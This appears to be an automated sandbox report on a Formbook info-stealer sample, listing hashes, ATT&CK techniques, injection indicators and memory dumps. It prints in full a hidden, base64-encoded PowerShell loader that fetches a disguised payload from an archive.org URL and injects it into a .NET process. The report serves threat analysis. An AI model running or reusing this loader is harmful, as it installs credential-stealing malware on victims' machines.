formbook | abba78a4679499caf6bb0f1d17dd8816f1b39655e09a2be770a92d54dc4072be

Analysis

max time kernel
150s
max time network
98s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
31/10/2025, 18:06

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General

Target
PIM_30_10_00193_interser.js
Size 4.2MB
Sample251031-wp32ssynhn
SHA256 abba78a4679499caf6bb0f1d17dd8816f1b39655e09a2be770a92d54dc4072be
MD5 5742824e43f9e8d796d2de8e50c6793a
SHA1 0158e7e8cb5d90f2b26928546a03664152eb8594
SHA512 f8a6dd2fda135d6ee0072bc4916038d79dfcf81f439ba89ece7c78f18c9bb607c198e771aa81e47792d56acf0f95cef9b4f0a297810ad0b0af674523387e1774
SSDEEP 768:kcrXa/tGcNs4yxFcfLFGp156sA+j98gZqDpJkQzgerk2uEUmPfTWpe1nvX9+NZ4U:vDaNsd30+jLZqDpJkPErWpW8NZ4WVu0
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution formbook rat spyware stealer trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://ia801507.us.archive.org/20/items/msi-pro-with-b-64_20251024/MSI_PRO_with_b64.png

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
Formbook family
formbook

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1084	3008	powershell.exe	78

Formbook payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/1144-20-0x0000000000400000-0x0000000000448000-memory.dmp	family_formbook

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	1084	powershell.exe
5	1084	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1084	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1084 set thread context of 1144	1084	powershell.exe	81

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
1084	powershell.exe
1084	powershell.exe
1084	powershell.exe
1084	powershell.exe
1084	powershell.exe
1084	powershell.exe
1084	powershell.exe
1084	powershell.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe
1144	AddInProcess32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1084	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 1144	1084	powershell.exe	81
PID 1084 wrote to memory of 1144	1084	powershell.exe	81
PID 1084 wrote to memory of 1144	1084	powershell.exe	81
PID 1084 wrote to memory of 1144	1084	powershell.exe	81
PID 1084 wrote to memory of 1144	1084	powershell.exe	81
PID 1084 wrote to memory of 1144	1084	powershell.exe	81

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\PIM_30_10_00193_interser.js
1⤵
PID:2492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('W05ldC5TZXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VjdXJpdHlQcm90b2NvbCA9IFtOZXQuU2VjdXJpdHlQcm90b2NvbFR5cGVdOjpUbHMxMjsgJHlhcnJpbmdsZXMgPSBOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQ7ICR5YXJyaW5nbGVzLkVuY29kaW5nID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGODsgJHRoZXJvY2VwaGFsaWEgPSAkeWFycmluZ2xlcy5Eb3dubG9hZFN0cmluZygnaHR0cDovL2lhODAxNTA3LnVzLmFyY2hpdmUub3JnLzIwL2l0ZW1zL21zaS1wcm8td2l0aC1iLTY0XzIwMjUxMDI0L01TSV9QUk9fd2l0aF9iNjQucG5nJyk7ICR0ZXN0eSA9ICgkdGhlcm9jZXBoYWxpYSAtbWF0Y2ggJ0Jhc2VTdGFydC0oLio/KS1CYXNlRW5kJyk7ICRpbXBsYXRlID0gJG1hdGNoZXNbMV07ICRzYWxvcGhpbGlhID0gW1JlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkaW1wbGF0ZSkpOyAkc2F0cmFwYXRlID0gJz1RSGUwNUNiCg1wWkdiaFIzTDJWR1p1SWpjdVFHTnpnalozRVROMU0yWTJVV1pobGpNa0ZETmxaRE0zY3pNM0lET3hNR050SVdkdzl5TDZNSGMwUkhhJzsgJGJhc2lucyA9ICRzYWxvcGhpbGlhLkdldFR5cGUoJ0NsYXNzTGlicmFyeTEuQ2xhc3MxJyk7ICRvdXRsYWJvciA9ICRiYXNpbnMuR2V0TWV0aG9kKCdWQUknKTsgJG91dGxhYm9yLkludm9rZSgkdGVzdHksIFtvYmplY3RbXV1AKCRzYXRyYXBhdGUsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnQWRkSW5Qcm9jZXNzMzInLCcnLCdBZGRJblByb2Nlc3MzMicsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnanMnLCcxJywnJywnVGFza19OYW1lJywnMCcsJycsJycsJycpKTs='))| Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1144

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

__PSScriptPolicyTest_2skfrxdp.iwd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2skfrxdp.iwd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/1084-11-0x000001DD48D20000-0x000001DD48E48000-memory.dmp

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memory/1084-6-0x000001DD487F0000-0x000001DD48812000-memory.dmp

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memory/1084-8-0x000001DD2FB20000-0x000001DD305E2000-memory.dmp

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memory/1084-9-0x000001DD2FB20000-0x000001DD305E2000-memory.dmp

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memory/1084-10-0x000001DD2FB20000-0x000001DD305E2000-memory.dmp

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memory/1084-0-0x000001DD302EA000-0x000001DD302EB000-memory.dmp

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memory/1084-12-0x000001DD48A80000-0x000001DD48A88000-memory.dmp

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memory/1084-16-0x000001DD2FB20000-0x000001DD305E2000-memory.dmp

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memory/1144-13-0x0000000000400000-0x0000000000448000-memory.dmp

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memory/1144-17-0x0000000000400000-0x0000000000448000-memory.dmp

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memory/1144-18-0x00000000015F0000-0x0000000001946000-memory.dmp

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memory/1144-19-0x0000000000400000-0x0000000000448000-memory.dmp

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memory/1144-20-0x0000000000400000-0x0000000000448000-memory.dmp

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